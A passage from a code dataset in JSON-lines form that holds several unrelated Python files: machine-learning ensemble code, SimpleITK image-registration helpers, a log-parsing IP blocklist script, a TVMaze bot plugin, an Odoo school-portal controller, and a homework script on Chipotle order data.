features_test_text, features_test_notext, y_train, y_test, imbalance_sampling=None):\n model_notext = ModelFactory.get_model('LogisticRegression')\n model_text = ModelFactory.get_model('RandomForest')\n\n model_text.fit_model(features_train_text, y_train)\n model_notext.fit_model(features_train_notext, y_train)\n\n pred1 = model_text.predict(features_test_text)\n pred2 = model_notext.predict(features_test_notext)\n\n final_pred = np.array([])\n for i in range(0, len(y_test)):\n val = mode([pred1[i], pred2[i]])\n final_pred = np.append(final_pred, val)\n return ScoreMetrics.get_scores(y_test, final_pred)\n\n @staticmethod\n def ensemble_averaging(features_train_text, features_train_notext,\n features_test_text, features_test_notext, y_train, y_test, w1, w2, imbalance_sampling=None):\n model_notext = ModelFactory.get_model('SVM')\n model_text = ModelFactory.get_model('RandomForest', optimised=False)\n y_train_text = y_train\n\n if imbalance_sampling != None:\n features_train_text, y_train_text = ImbalanceSampling.get_sampled_data(imbalance_sampling, features_train_text,\n y_train)\n features_train_notext, y_train = ImbalanceSampling.get_sampled_data(imbalance_sampling, features_train_notext, y_train)\n\n # models that perform best with imbalance sampling\n model_notext = ModelFactory.get_model('MLP', optimised=True)\n model_text = ModelFactory.get_model('SVM', optimised=False)\n\n model_notext.fit_model(features_train_notext, y_train)\n model_text.fit_model(features_train_text, y_train_text)\n\n pred1 = model_notext.predict_proba(features_test_notext)\n pred2 = model_text.predict_proba(features_test_text)\n\n final_pred = np.array([])\n for i in range(0, len(y_test)):\n first = (w1*pred1[i][0] + w2*(pred2[i][0]))\n second = (w1*pred1[i][1] + w2*(pred2[i][1]))\n val = 1\n if first > second:\n val = 0\n final_pred = np.append(final_pred, val)\n return ScoreMetrics.get_scores('ensemble', y_test, final_pred)","sub_path":"models/ensemble.py","file_name":"ensemble.py","file_ext":"py","file_size_in_byte":3386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"271904753","text":"import numpy as np\nimport tifffile as tiff\nimport SimpleITK as sitk\nimport networkx as nx\n\nimport matplotlib.pyplot as plt\n\nformat_to_dtype = {\n 'uchar': np.uint8,\n 'char': np.int8,\n 'ushort': np.uint16,\n 'short': np.int16,\n 'uint': np.uint32,\n 'int': np.int32,\n 'float': np.float32,\n 'double': np.float64,\n 'complex': np.complex64,\n 'dpcomplex': np.complex128,\n}\n\ndtype_to_format = {\n 'uint8': 'uchar',\n 'int8': 'char',\n 'uint16': 'ushort',\n 'int16': 'short',\n 'uint32': 'uint',\n 'int32': 'int',\n 'float32': 'float',\n 'float64': 'double',\n 'complex64': 'complex',\n 'complex128': 'dpcomplex',\n}\n\ndef read_tiff_image(reg_dict, page_index=0):\n # print(fixed[1][\"crop_paths\"])\n # load color images\n ff_path = reg_dict[\"f_row\"][\"color_paths\"]\n tf_path = reg_dict[\"t_row\"][\"color_paths\"]\n\n # base_res_x = reg_dict[\"f_row\"][\"mpp-x\"]\n # base_res_y = reg_dict[\"f_row\"][\"mpp-y\"]\n\n for page in reg_dict[\"f_page\"]:\n if page[\"index\"] != page_index:\n continue\n break\n page_idx = page[\"index\"]\n\n #print(page_idx, page)\n spacing = (page[\"mmp_x\"], page[\"mmp_y\"])\n #print(spacing)\n # transform numpy array to simpleITK image\n # have set the parameters manually\n im_f = tiff.imread(ff_path, key=page_idx)\n # f_sitk = utils.get_sitk_image(im_f, spacing)\n f_sitk = get_sitk_image(im_f[:, :, :3], spacing=spacing, vector=True)\n\n im_t = tiff.imread(tf_path, key=page_idx)\n # t_sitk = utils.get_sitk_image(im_t, spacing)\n t_sitk = get_sitk_image(im_t[:, :, :3], spacing=spacing, vector=True)\n\n return f_sitk, t_sitk\n\ndef read_1_tiff_image(reg_dict, page_index=0):\n ff_path = reg_dict[\"f_row\"][\"color_paths\"]\n\n for page in reg_dict[\"f_page\"]:\n if page[\"index\"] != page_index:\n continue\n break\n page_idx = page[\"index\"]\n\n spacing = (page[\"mmp_x\"], page[\"mmp_y\"])\n #print(spacing)\n # transform numpy array to simpleITK image\n # have set the parameters manually\n im_f = tiff.imread(ff_path, key=page_idx)\n f_sitk = get_sitk_image(im_f[:, :, :3], spacing=spacing, vector=True)\n\n return f_sitk\n\ndef read_1_tiff_image_moving(reg_dict, page_index=0):\n ff_path = reg_dict[\"t_row\"][\"color_paths\"]\n\n for page in reg_dict[\"f_page\"]:\n if page[\"index\"] != page_index:\n continue\n break\n page_idx = page[\"index\"]\n\n spacing = (page[\"mmp_x\"], page[\"mmp_y\"])\n #print(spacing)\n # transform numpy array to simpleITK image\n # have set the parameters manually\n im_f = tiff.imread(ff_path, key=page_idx)\n f_sitk = get_sitk_image(im_f[:, :, :3], spacing=spacing, vector=True)\n\n return f_sitk\n\ndef _calculate_composite(G, reference_index, moving_slice_index):\n \"\"\"\n Composes individual partial transformations into composite\n transformation registering provided moving slice to the reference\n image.\n :param moving_slice_index: moving slice index\n :type moving_slice_index: int\n \"\"\"\n\n # The transformation chain is a sequence of pairs of (fixed, moving)\n # slices. This sequence links the reference slices with given moving\n # slice.\n transformation_chain = _get_transformation_chain(G, reference_index, moving_slice_index)\n # Initialize the partial transforms array and then collect all partial\n # transformations constituting given composite transformation.\n partial_transformations = []\n for (m_slice, r_slice) in transformation_chain:\n if (G.has_edge(m_slice, r_slice)):\n data = G.get_edge_data(m_slice, r_slice)\n partial_transformations.append(data[\"transform\"])\n\n return partial_transformations, transformation_chain\n\ndef _get_transformation_chain(G, reference_index, moving_index):\n i = moving_index\n r = reference_index\n # Calculate shortest paths between individual slices\n # Dictionary, keyed by source and target, of shortest paths.\n slice_paths = nx.all_pairs_dijkstra_path(G)\n # Get the shortest path linking given moving slice with the reference\n # slice.\n #\n #print(slice_paths)\n #print(dict(slice_paths))\n #print(dict(slice_paths)[r])\n #print(list(reversed(dict(slice_paths)[r][i])))\n path = list(dict(slice_paths)[r][i])\n print(path)\n chain = []\n\n # In case we hit a reference slice :)\n if i == r:\n chain.append((r, r))\n # For all the other cases collect partial transforms.\n for step in range(len(path) - 1):\n chain.append((path[step], path[step+1]))\n #print(chain)\n \n return list(reversed(chain))\n\ndef resample_rgb(in_transform, f_sitk, t_sitk, mean=0):\n filter_ = sitk.ResampleImageFilter()\n filter_.SetInterpolator(sitk.sitkLinear)\n filter_.SetSize(f_sitk.GetSize())\n filter_.SetReferenceImage(f_sitk)\n filter_.SetTransform(in_transform)\n filter_.SetDefaultPixelValue(mean)\n filter_.SetOutputPixelType(sitk.sitkVectorUInt8)\n\n\n# select = sitk.VectorIndexSelectionCastImageFilter()\n# channel_0 = select.Execute(t_sitk, 0, t_sitk.GetPixelID())\n# channel_1 = select.Execute(t_sitk, 1, t_sitk.GetPixelID())\n# channel_2 = select.Execute(t_sitk, 2, t_sitk.GetPixelID())\n\n# select2 = sitk.VectorIndexSelectionCastImageFilter()\n# f_0 = select2.Execute(f_sitk, 0, f_sitk.GetPixelID())\n# f_1 = select2.Execute(f_sitk, 1, f_sitk.GetPixelID())\n# f_2 = select2.Execute(f_sitk, 2, f_sitk.GetPixelID())\n\n# t_resampled = sitk.Resample(channel_0, f_sitk, in_transform, sitk.sitkLinear,\n# mean, f_0.GetPixelID())\n# t_resampled1 = sitk.Resample(channel_1, f_sitk, in_transform, sitk.sitkLinear,\n# mean, f_1.GetPixelID())\n# t_resampled2 = sitk.Resample(channel_2, f_sitk, in_transform, sitk.sitkLinear,\n# mean, f_2.GetPixelID()) \n\n# compose_new = sitk.ComposeImageFilter()\n# new_image = compose_new.Execute(t_resampled, t_resampled1, t_resampled2)\n\n new_image = filter_.Execute(t_sitk)\n\n return new_image #sitk.Cast(new_image, sitk.sitkVectorUInt8)\n\ndef resample_1_rgb(in_transform, t_sitk, mean = 0):\n filter_ = sitk.ResampleImageFilter()\n filter_.SetInterpolator(sitk.sitkLinear)\n filter_.SetSize(t_sitk.GetSize())\n filter_.SetReferenceImage(t_sitk)\n filter_.SetTransform(in_transform)\n filter_.SetDefaultPixelValue(mean)\n filter_.SetOutputPixelType(sitk.sitkVectorUInt8)\n\n# select = sitk.VectorIndexSelectionCastImageFilter()\n# channel_0 = select.Execute(t_sitk, 0, t_sitk.GetPixelID())\n# channel_1 = select.Execute(t_sitk, 1, t_sitk.GetPixelID())\n# channel_2 = select.Execute(t_sitk, 2, t_sitk.GetPixelID())\n\n# t_resampled = sitk.Resample(channel_0, t_sitk, in_transform, sitk.sitkLinear,\n# mean, channel_0.GetPixelID())\n# t_resampled1 = sitk.Resample(channel_1, t_sitk, in_transform, sitk.sitkLinear,\n# mean, channel_0.GetPixelID())\n# t_resampled2 = sitk.Resample(channel_2, t_sitk, in_transform, sitk.sitkLinear,\n# mean, channel_0.GetPixelID()) \n new_image = filter_.Execute(t_sitk)\n# compose_new = sitk.ComposeImageFilter()\n# new_image = compose_new.Execute(t_resampled, t_resampled1, t_resampled2)\n\n return new_image #sitk.Cast(new_image, sitk.sitkVectorUInt8)\n\n\ndef get_mean_edges(itk_image):\n # get the edge values to determine the mean pixel intensity\n l_side = sitk.GetArrayViewFromImage(itk_image)[0,:].flatten()\n r_side = sitk.GetArrayViewFromImage(itk_image)[-1,:].flatten()\n top_side = sitk.GetArrayViewFromImage(itk_image)[0][1:-2].flatten()\n bot_side = sitk.GetArrayViewFromImage(itk_image)[-1][1:-2].flatten()\n mean = int(np.concatenate((l_side, r_side, top_side, bot_side)).mean())\n return mean\n\ndef get_additional_info(pd_data):\n #print(pd_data)\n ff_path = pd_data[\"crop_paths\"]\n #print(ff_path)\n ff = tiff.TiffFile(ff_path)\n\n base_res_x = pd_data[\"mpp-x\"]\n base_res_y = pd_data[\"mpp-y\"]\n\n #print(base_res_x, base_res_y)\n #meta_data_orig = parse_vips(ff.pages[0].description)\n\n base_shape = ff.pages[0].shape\n pages = []\n for idx, page in enumerate(ff.pages):\n x_size = page.imagewidth\n y_size = page.imagelength\n xscale = base_shape[0] // x_size\n yscale = base_shape[1] // y_size\n #print(x_size, yscale, yscale*base_res_x)\n pages.append(dict(index=idx, size_x=x_size, size_y=y_size,\n scale_x = xscale, scale_y=yscale,\n mmp_x = xscale * base_res_x, \n mmp_y = yscale * base_res_y, \n )\n )\n ff.close()\n return pages\n\n\n# Callback invoked by the interact IPython method for scrolling through the image stacks of\n# the two images (moving and fixed).\ndef display_images(fixed_npa, moving_npa, checkerboard=None, show=True):\n # Create a figure with two subplots and the specified size.\n w = 3\n if (checkerboard is None):\n w = 2\n fig, ax = plt.subplots(1, w, figsize=(12,4))\n #plt.subplots(1,w,figsize=(10,8))\n \n # Draw the fixed image in the first subplot.\n #plt.subplot(1,3,1)\n ax[0].imshow(fixed_npa[:,:],cmap=plt.cm.Greys_r)\n ax[0].set_title('fixed image')\n ax[0].set_axis_off()\n \n # Draw the moving image in the second subplot.\n #plt.subplot(1,3,2)\n ax[1].imshow(moving_npa[:,:],cmap=plt.cm.Greys_r)\n ax[1].set_title('moving image')\n ax[1].set_axis_off()\n\n if (checkerboard is not None):\n #plt.subplot(1,3,3)\n ax[2].imshow(checkerboard[:,:],cmap=plt.cm.Greys_r)\n ax[2].set_title('checkerboard')\n ax[2].set_axis_off()\n #plt.ion()\n if (show == True):\n plt.show()\n else:\n return fig\n #plt.pause(0.0001)\n\ndef display_image(fixed_npa):\n # Create a figure with two subplots and the specified size.\n fig, ax = plt.subplots(1, 1, figsize=(10,8))\n #plt.subplots(1,w,figsize=(10,8))\n \n # Draw the fixed image in the first subplot.\n #plt.subplot(1,3,1)\n ax.imshow(fixed_npa[:,:],cmap=plt.cm.Greys_r)\n ax.set_title('seg image')\n ax.set_axis_off()\n plt.show()\n #plt.close(fig)\n #plt.pause(0.0001)\n\n# Callback invoked by the IPython interact method for scrolling and modifying the alpha blending\n# of an image stack of two images that occupy the same physical space. \ndef display_images_with_alpha(alpha, fixed, moving):\n img = (1.0 - alpha)*fixed[:,:] + alpha*moving[:,:] \n plt.imshow(sitk.GetArrayViewFromImage(img),cmap=plt.cm.Greys_r)\n plt.axis('off')\n #plt.ion()\n plt.show()\n plt.pause(0.0001)\n \n\n# Callback invoked when the StartEvent happens, sets up our new data.\ndef start_plot():\n global metric_values, multires_iterations\n metric_values = []\n multires_iterations = []\n\n# Callback invoked when the EndEvent happens, do cleanup of data and figure.\ndef end_plot(angle):\n global metric_values, multires_iterations\n # del metric_values\n # del multires_iterations\n plt.title(\"Registration Iterations starting at {0:2.2f} angle\".format(angle*180/np.pi))\n plt.plot(metric_values, 'r')\n plt.plot(multires_iterations, [metric_values[index] for index in multires_iterations], 'b*')\n plt.xlabel('Iteration Number',fontsize=12)\n plt.ylabel('Metric Value',fontsize=12)\n plt.show()\n # Close figure, we don't want to get a duplicate of the plot latter on.\n #plt.close()\n\n# Callback invoked when the IterationEvent happens, update our data and display new figure. \ndef plot_values(registration_method):\n global metric_values, multires_iterations\n \n metric_values.append(registration_method.GetMetricValue()) \n # Clear the output area (wait=True, to reduce flickering), and plot current data\n #(wait=True)\n #plt.ion()\n #plt.pause(0.0001)\n # Plot the similarity metric values\n # plt.plot(metric_values, 'r')\n # plt.plot(multires_iterations, [metric_values[index] for index in multires_iterations], 'b*')\n # plt.xlabel('Iteration Number',fontsize=12)\n # plt.ylabel('Metric Value',fontsize=12)\n # plt.show()\n\n# Callback invoked when the sitkMultiResolutionIterationEvent happens, update the index into the \n# metric_values list. \ndef update_multires_iterations():\n global metric_values, multires_iterations\n multires_iterations.append(len(metric_values))\n\ndef myshow(img, title=None, margin=0.05, dpi=80):\n nda = sitk.GetArrayViewFromImage(img)\n spacing = img.GetSpacing()\n \n ysize = nda.shape[0]\n xsize = nda.shape[1]\n \n figsize = (1 + margin) * ysize / dpi, (1 + margin) * xsize / dpi\n\n fig = plt.figure(title, figsize=figsize, dpi=dpi)\n ax = fig.add_axes([margin, margin, 1 - 2*margin, 1 - 2*margin])\n \n extent = (0, xsize*spacing[1], ysize*spacing[0], 0)\n \n t = ax.imshow(nda,\n extent=extent,\n interpolation='hamming',\n cmap='gray') #, origin='lower')\n \n if(title):\n plt.title(title)\n plt.show()\n\ndef resample(image, transform, default_value=0.0, interpolator = sitk.sitkCosineWindowedSinc, ref_image = None):\n # Output image Origin, Spacing, Size, Direction are taken from the reference\n # image in this call to Resample\n if (ref_image == None):\n reference_image = image\n else:\n reference_image = ref_image\n return sitk.Resample(image, reference_image, transform,\n interpolator, default_value, image.GetPixelID())\n\ndef resampler(ref_image, transform, default_value=0.0, interpolator = sitk.sitkCosineWindowedSinc):\n # Output image Origin, Spacing, Size, Direction are taken from the reference\n # image in this call to Resample\n resampler = sitk.ResampleImageFilter()\n resampler.SetReferenceImage(ref_image)\n resampler.SetInterpolator(interpolator)\n resampler.SetDefaultPixelValue(default_value)\n resampler.SetTransform(transform)\n return resampler\n\n# def get_center_of_gravity(np_image, spacing):\n# f_itk = itk.GetImageFromArray(np_image)\n# f_itk.SetSpacing(spacing)\n# f_moments = itk.ImageMomentsCalculator.New(f_itk)\n# f_moments.Compute()\n# return f_moments.GetCenterOfGravity()\n\ndef get_sitk_image(np_image, spacing=(1.0, 1.0), origin=(0.0,0.0), vector=False):\n f_sitk = sitk.GetImageFromArray(np_image, isVector=vector)\n f_sitk.SetSpacing(spacing)\n f_sitk.SetOrigin(origin)\n return f_sitk\n\n\ndef print_transformation_differences(tx1, tx2):\n \"\"\"\n Check whether two transformations are \"equivalent\" in an arbitrary spatial region \n either 3D or 2D, [x=(-10,10), y=(-100,100), z=(-1000,1000)]. This is just a sanity check, \n as we are just looking at the effect of the transformations on a random set of points in\n the region.\n \"\"\"\n if tx1.GetDimension()==2 and tx2.GetDimension()==2:\n bounds = [(-10,10),(-100,100)]\n elif tx1.GetDimension()==3 and tx2.GetDimension()==3:\n bounds = [(-10,10),(-100,100), (-1000,1000)]\n else:\n raise ValueError('Transformation dimensions mismatch, or unsupported transformation dimensionality')\n num_points = 10\n point_list = uniform_random_points(bounds, num_points)\n tx1_point_list = [ tx1.TransformPoint(p) for p in point_list]\n differences = target_registration_errors(tx2, point_list, tx1_point_list)\n print(tx1.GetName()+ '-' +\n tx2.GetName()+\n ':\\tminDifference: {:.2f} maxDifference: {:.2f}'.format(min(differences), max(differences)))\n\ndef uniform_random_points(bounds, num_points):\n \"\"\"\n Generate random (uniform withing bounds) nD point cloud. Dimension is based on the number of pairs in the bounds input.\n \n Args:\n bounds (list(tuple-like)): list where each tuple defines the coordinate bounds.\n num_points (int): number of points to generate.\n \n Returns:\n list containing num_points numpy arrays whose coordinates are within the given bounds.\n \"\"\"\n internal_bounds = [sorted(b) for b in bounds]\n # Generate rows for each of the coordinates according to the given bounds, stack into an array, \n # and split into a list of points.\n mat = np.vstack([np.random.uniform(b[0], b[1], num_points) for b in internal_bounds])\n return list(mat[:len(bounds)].T)\n\ndef target_registration_errors(tx, point_list, reference_point_list):\n \"\"\"\n Distances between points transformed by the given transformation and their\n location in another coordinate system. When the points are only used to evaluate\n registration accuracy (not used in the registration) this is the target registration\n error (TRE).\n \"\"\"\n return [np.linalg.norm(np.array(tx.TransformPoint(p)) - np.array(p_ref))\n for p,p_ref in zip(point_list, reference_point_list)]\n\n\n\ndef affine_scale(transform, x_scale=3.0, y_scale=0.7):\n dimension = transform.GetDimension()\n new_transform = sitk.AffineTransform(transform)\n matrix = np.array(transform.GetMatrix()).reshape((dimension,dimension))\n matrix[0,0] = x_scale\n matrix[1,1] = y_scale\n new_transform.SetMatrix(matrix.ravel())\n resampled = resample(grid, new_transform)\n myshow(resampled, 'Scaled')\n print(matrix)\n return new_transform\n\ndef affine_translate(transform, x_translation=3.1, y_translation=4.6):\n new_transform = sitk.AffineTransform(transform)\n new_transform.SetTranslation((x_translation, y_translation))\n resampled = resample(grid, new_transform)\n myshow(resampled, 'Translated')\n return new_transform\n\ndef affine_rotate(transform, degrees=15.0):\n dimension = transform.GetDimension()\n parameters = np.array(transform.GetParameters())\n new_transform = sitk.AffineTransform(transform)\n matrix = np.array(transform.GetMatrix()).reshape((dimension,dimension))\n radians = -np.pi * degrees / 180.\n rotation = np.array([[np.cos(radians), -np.sin(radians)],[np.sin(radians), np.cos(radians)]])\n new_matrix = np.dot(rotation, matrix)\n new_transform.SetMatrix(new_matrix.ravel())\n print(new_matrix)\n return new_transform\n \ndef affine_shear(transform, x_shear=0.3, y_shear=0.1):\n dimension = transform.GetDimension()\n new_transform = sitk.AffineTransform(transform)\n matrix = np.array(transform.GetMatrix()).reshape((dimension,dimension))\n matrix[0,1] = -x_shear\n matrix[1,0] = -y_shear\n new_transform.SetMatrix(matrix.ravel())\n print(matrix)\n return new_transform\n","sub_path":"hist/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":18204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"105436880","text":"#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\n\n__author__ = 'RemiZOffAlex'\n__copyright__ = '(c) RemiZOffAlex'\n__license__ = 'MIT'\n__email__ = 'remizoffalex@mail.ru'\n\nimport re\nimport pygeoip\nimport os\nimport sys\nimport json\nimport traceback\nimport argparse\n\nfrom iplist import IPList, BogonIP\n\ndef read_json(filename):\n \"\"\"\n Считываем данные в формате JSON из файла filename\n \"\"\"\n result = None\n with open(filename) as json_data:\n result = json.load(json_data)\n json_data.close()\n return result\n\n# Загрузить список\ndef downloadList(filename):\n result = IPList()\n if os.path.exists(filename):\n with open(filename, 'r') as f:\n for ip in f:\n ip = ip.replace(\"\\n\", \"\")\n result += ip\n return result\n\n\nclass LogIP:\n def __init__(self):\n self.listip = IPList()\n # Загрузить белый список\n self.excludeip = IPList()\n # downloadList('/etc/whitelist.list')\n self.ippattern = '((25[0-5]|2[0-4][0-9]|1?[0-9]{1,2})\\.){3}(25[0-5]|2[0-4][0-9]|1?[0-9]{1,2})'\n\n def setExcludeIP(self, filename):\n self.excludeip = downloadList(filename)\n\n def getListIP(self, filename, patterns):\n '''\n Получить список IP\n '''\n f = open(filename, 'r')\n for i, line in enumerate(f):\n line = line.replace(\"\\n\", \"\")\n for pattern in patterns:\n match = re.search(pattern, line)\n if match:\n match = re.search(self.ippattern, line)\n while match:\n item = match.group()\n if item not in BogonIP():\n if item not in self.excludeip:\n self.listip += item\n line = line[match.end():len(line)]\n match = re.search(self.ippattern, line)\n f.close()\n\n\nclass statIP:\n def __init__(self):\n ip = ''\n count = 0\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Скрипт добавления IP или подсети в блокировку на межсетевом экране',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser._optionals.title = \"Необязательные аргументы\"\n\n parser.add_argument(\"-c\", \"--config\", dest=\"config\", help=\"Файл конфигурации\")\n\n args = parser.parse_args()\n\n if not os.path.isfile(args.config):\n result='Файл ' + args.config + ' не существует'\n exit(1)\n config = read_json(args.config)\n\n # GeoIP\n geoip = pygeoip.GeoIP(config['GeoIP']['ipv4'])\n\n\n # Белый список\n whitecountry = config['exclude']['country']\n\n logip = LogIP()\n # Загрузка списков исключений\n for filename in config['exclude']['ipv4']:\n logip.setExcludeIP(filename)\n\n # print(config['logs'])\n for item in config['logs']:\n for filename in config['logs'][item]['files']:\n logip.getListIP(filename, config['logs'][item]['patterns'])\n\n\n # Nginx\n # patterns = ['/\"GET //administrator//index.php/?']\n #patterns = ['\"GET /administrator(\\/|\\w|\\s)\"']\n #patterns = ['\"GET\\s(.+)admin(.+)\\s\\w+/.+\"\\s401']\n #listip = listip + getListIP('/var/log/nginx/access-remizoffalex.ru.log', patterns)\n\n for ip in logip.listip:\n flag = True\n if geoip.country_code_by_addr(ip) in whitecountry:\n flag = False\n if flag:\n print(ip)\n flag = True\n # print(geoip.country_code_by_addr(ip))\n\nif __name__ == \"__main__\":\n try:\n main()\n except Exception:\n traceback.print_exc(file=sys.stdout)\n exit(1)\n\n exit(0)\n","sub_path":"log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":3846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"399922620","text":"import logging\nlog = logging.getLogger(__name__)\n\nimport datetime\nimport dateutil.parser\nimport requests\nimport pytz\n\nimport botologist.plugin\n\n\n\ndef get_next_episode_info(show, output_timezone=pytz.timezone('UTC')):\n\tquery = {'q': show, 'embed': 'nextepisode'}\n\ttry:\n\t\tresponse = requests.get('http://api.tvmaze.com/singlesearch/shows', query)\n\t\tresponse.raise_for_status()\n\texcept requests.exceptions.RequestException:\n\t\tlog.warning('TVMaze request caused an exception', exc_info=True)\n\t\treturn None\n\n\ttry:\n\t\tdata = response.json()\n\texcept ValueError:\n\t\tlog.warning('TVMaze returned invalid JSON: %r', response.text, exc_info=True)\n\t\treturn None\n\n\tinfo = data['name']\n\tnextepisode = data.get('_embedded', {}).get('nextepisode')\n\tif nextepisode:\n\t\tlog.debug('next episode data: %r', nextepisode)\n\t\tdt = dateutil.parser.parse(nextepisode['airstamp'])\n\t\tinfo += ' - season %d, episode %d airs at %s' % (\n\t\t\tnextepisode['season'],\n\t\t\tnextepisode['number'],\n\t\t\tdt.astimezone(tz=output_timezone).strftime('%Y-%m-%d %H:%M %z'),\n\t\t)\n\t\tnow = datetime.datetime.now(dt.tzinfo)\n\t\tif dt > now:\n\t\t\ttime_left = dt - now\n\t\t\tif time_left.days > 0:\n\t\t\t\ttime_left_str = '%dd %dh' % (\n\t\t\t\t\ttime_left.days,\n\t\t\t\t\tround(time_left.seconds / 3600),\n\t\t\t\t)\n\t\t\telif time_left.seconds > 3600:\n\t\t\t\ttime_left_str = '%dh %dm' % (\n\t\t\t\t\tround(time_left.seconds / 3600),\n\t\t\t\t\tround((time_left.seconds % 3600) / 60),\n\t\t\t\t)\n\t\t\telse:\n\t\t\t\ttime_left_str = '%dm' % round(time_left.seconds / 60)\n\t\t\tlog.debug('time left: %r (%s)', time_left, time_left_str)\n\t\t\tinfo += ' (in %s)' % time_left_str\n\telse:\n\t\tinfo += ' - no next episode :('\n\treturn info\n\n\nclass TvseriesPlugin(botologist.plugin.Plugin):\n\tdef __init__(self, bot, channel):\n\t\tsuper().__init__(bot, channel)\n\t\tself.output_tz = pytz.timezone(self.bot.config.get('output_timezone'))\n\n\t@botologist.plugin.command('nextepisode')\n\tdef nextepisode(self, msg):\n\t\treturn get_next_episode_info(' '.join(msg.args), self.output_tz)\n","sub_path":"plugins/tvseries.py","file_name":"tvseries.py","file_ext":"py","file_size_in_byte":1940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"234827244","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# This module uses OpenERP, Open Source Management Solution Framework.\n# Copyright (C) 2017-Today Sitaram\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see \n#\n##############################################################################\n\n\nfrom odoo.addons.web.controllers.main import Home\nfrom odoo import http\nfrom odoo.http import request\nimport requests\nimport json\n\n\nclass WebsiteDesign(Home):\n\n @http.route(auth='public')\n def index(self, data={}, **kw):\n response = super(WebsiteDesign, self).index(**kw)\n if request.env.user.user_type:\n if request.env.user.user_type == \"student\":\n topics = request.env['tomorrows.topic'].get_topics()\n data['tomorrows_topic'] = topics\n return http.request.render('website_design.student_dashboard', data)\n else:\n return response\n\n # @http.route('/api/save', auth='public', methods=['POST'],website=True, csrf=False)\n # def save_obj(self, **kw):\n # obj = json.loads(kw.get('data'))\n # http.request.env['studentleave.request'].write({\n # 'reason': obj.get('reason_for_leave'),\n \n # })\n\n @http.route('/student/leaveRequest', type='http', auth=\"public\", website=True)\n def render_leave_request_form(self, **kw):\n if request.env.user.user_type and request.env.user.user_type == \"student\":\n leave_details = request.env['studentleave.request'].sudo().search([('student_id.pid','=',request.env.user.login)])\n student=request.env['student.student'].sudo().search([('pid','=',request.env.user.login)])\n return request.render('website_design.leaveRequest', {'leave':leave_details,'students':student})\n return request.render('website.404', {})\n\n @http.route('/student/feedBackFrom', type='http', auth=\"public\", website=True)\n def render_feedback_form(self, **kw):\n if request.env.user.user_type and request.env.user.user_type == \"student\":\n return request.render('website_design.feedBackFrom', {})\n return request.render('website.404', {})\n\n @http.route('/student/transferRequest', type='http', auth=\"public\", website=True)\n def render_transfer_request_form(self, **kw):\n if request.env.user.user_type and request.env.user.user_type == \"student\":\n return request.render('website_design.transferRequest', {})\n return request.render('website.404', {})\n\n @http.route('/tearcher/tomorrowsTopic', type='http', auth=\"public\", website=True)\n def render_tomorrows_topic_form(self, **kw):\n if request.env.user.user_type and request.env.user.user_type == \"teacher\":\n teacher = request.env['school.teacher'].search([]).filtered(lambda x: x.name.lower() == request.env.user.name.lower())\n if teacher and len(teacher) == 1:\n classes = teacher.standard_id.read(['display_name'])\n return request.render('website_design.tomorrowsTopic', {'classes': classes or []})\n return request.render('website.404', {})\n\n @http.route('/teacher/saveTomorrowsTopic', type='http', auth=\"public\", website=True)\n def render_save_tomorrows_topic_form(self, **kw):\n if request.env.user.user_type and request.env.user.user_type == \"teacher\":\n tomorrows_topic = request.env['tomorrows.topic'].create({\n 'name': kw.get('topic', False),\n 'topic_date': kw.get('topic_date', False),\n 'class_id': kw.get('classSelection', False)\n })\n return request.redirect('/tearcher/tomorrowsTopic')\n # return request.render('website_design.tomorrowsTopic', {'result': \"success\" if tomorrows_topic else \"fail\"})\n \n\n @http.route('/course/student', type='http', auth=\"public\", website=True)\n def render_transfer_request_form(self, **kw):\n if request.env.user.user_type and request.env.user.user_type == \"student\":\n student_details = request.env['student.student'].sudo().search([('pid','=',request.env.user.login)])\n\n return request.render('website_design.course_details', {'student':student_details})\n return request.render('website.404', {})","sub_path":"meli_mis/addons/website_design/controllers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"55936557","text":"#Homework 3\n#Patrick Fisher\n#DAT8 GA\n#Python Code\n'''\nBASIC LEVEL\nPART 1: Read in the data with csv.reader() and store it in a list of lists called 'data'.\nHint: This is a TSV file, and csv.reader() needs to be told how to handle it.\n https://docs.python.org/2/library/csv.html\n'''\nimport csv\nwith open('chipotle.tsv','rU') as f:\n data = [row for row in csv.reader(f, delimiter='\\t')]\n\n'''\nBASIC LEVEL\nPART 2: Separate the header and data into two different lists.\n'''\n\nhead = data[0]\ndata = data[1:]\n\n'''\nINTERMEDIATE LEVEL\nPART 3: Calculate the average price of an order.\nHint: Examine the data to see if the 'quantity' column is relevant to this calculation.\nHint: Think carefully about the simplest way to do this!\n'''\n#order_id, item_price\n\nnumorders = len(set([row[0] for row in data]))\n\nprices = [float(row[4][1:-1]) for row in data]\n\navgprice = round(sum(prices)/numorders,2)\n#18.81\n\n'''\nINTERMEDIATE LEVEL\nPART 4: Create a list (or set) of all unique sodas and soft drinks that they sell.\nNote: Just look for 'Canned Soda' and 'Canned Soft Drink', and ignore other drinks like 'Izze'.\n'''\n#[2]Canned Soft Drink/Canned Soda [3] Type of drink\n\nsodas = [row[3] for row in data if 'Canned' in row[2]]\nuniquesodas = set(sodas)\n'''\nADVANCED LEVEL\nPART 5: Calculate the average number of toppings per burrito.\nNote: Let's ignore the 'quantity' column to simplify this task.\nHint: Think carefully about the easiest way to count the number of toppings!\n'''\nburrito_count = 0\ntoppings_count = 0\n\nfor row in data:\n if 'Burrito' in row[2]:\n burrito_count += 1\n toppings_count += (row[3].count(',') +1) 